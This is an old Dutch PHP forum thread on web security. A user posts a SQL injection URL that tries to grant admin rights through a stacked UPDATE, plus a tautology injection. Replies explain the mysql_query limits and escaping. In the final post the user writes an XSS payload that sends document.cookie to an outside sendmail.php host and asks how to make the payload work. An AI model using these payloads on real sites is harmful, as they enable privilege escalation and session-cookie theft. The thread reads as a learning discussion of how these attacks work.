login  Naam:   Wachtwoord: 
Registreer je!
 Forum

Beveiliging

Offline webstab - 16/01/2006 19:26 (laatste wijziging 16/01/2006 20:17)
Avatar van webstabPHP ver gevorderde
  1. ysql_query("SELECT * FROM tabel WHERE k='".$_GET['k']."' AND MONTH(datum)='".array_search($_GET['month'],$maanden)."' AND YEAR(datum)='".$_GET['jaar']."' ORDER BY datum ASC");

Ik ben wat aan het bijleren met sql injections.
Ik ga naar deze url
  1. bestand.php?month=januari&jaar=2006&k=1';UPDATE members SET admin='1' WHERE id='1';SELECT * FROM tabel WHERE k='1
Dit geeft een mysql_error();.

Mijn vraag is nu, is het echt niet mogelijk om een query uit te voeren met update?

[PS: Ik vraag dit niet om een site te kloten, maar om te leren.]

6 antwoorden

Gesponsorde links
Offline Ontani - 16/01/2006 19:27
Avatar van Ontani Gouden medailleGouden medailleGouden medailleGouden medaille

-1
mysql kan normaal gezien geen 2 query's ineens uitvoeren, toch niet op die manier...
Offline webstab - 16/01/2006 19:28 (laatste wijziging 16/01/2006 19:29)
Avatar van webstab PHP ver gevorderde En hoe dan wel? Want als ik
  1. ?k=1' or 1='
1 dan geeft hij alles weer.

Kan je dan enkel de where-clause veranderen. Dus eigelijk kan dat geen kwaad.
[Ik weet wel dat je dat best beveiligd met is_numeric en addslashes enz]
Offline Gerard - 16/01/2006 19:29
Avatar van Gerard Ouwe rakker mysql_query() biedt geen ondersteuning voor 2 queries. Probeer echt wel met addslashes() of mysql_real_escape_string() errors te voorkomen.
Offline webstab - 16/01/2006 19:30 (laatste wijziging 16/01/2006 19:32)
Avatar van webstab PHP ver gevorderde Merci, dat wist ik niet.

Kan je dan enkel de where-clause veranderen? Maar je kan dus met deze query de site niet echt ambeteren.
Offline Dolfje - 16/01/2006 19:33
Avatar van Dolfje Gouden medailleGouden medailleGouden medaille

PHP ver gevorderde
ja, en er nog een paar INNER JOIN en ORDER BY en .... bijzetten,
maar 2 queries in 1 mysql_query(); gaat niet.
Offline webstab - 16/01/2006 20:17 (laatste wijziging 16/01/2006 20:45)
Avatar van webstab PHP ver gevorderde Niets met sql injection te maken, maar het gaat toch over beveiliging.
  1. pagina.php?k=%3Cscript%3Edocument.location.replace('http://domein.be/sendmail.php?q='+document.cookie);%3C/script%3E'

Dus dan wordt er een mail met de cookie gegevens verzonden en kan je die overnemen. Maar het probleem is dat het verzenden van de mail wel lukt, maar de cookies komen niet mee. Wanneer je dan in de bron gaat kijken dan zie je hetgene wat in in de url hebt opgegeven, alleen zonder +. Die plus komt er dus niet mee door. Je kan natuurlijk ipv van een + de html Special Characters invullen, maar dan werkt javascript weer niet.

Is dat dan ook niet mogelijk? Of kan je op een andere manier een + mee in de variable meegeven?

// Anders: Is het mogelijk een een + mee te geven in een url, zonder Html Special Characters te gebruiken? ?p=+ werkt bijvoorbeeld niet. Het dient om 2 variable in javascript samen te voegen.
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2025 Sitemasters.be - Regels - Laadtijd: 0.229s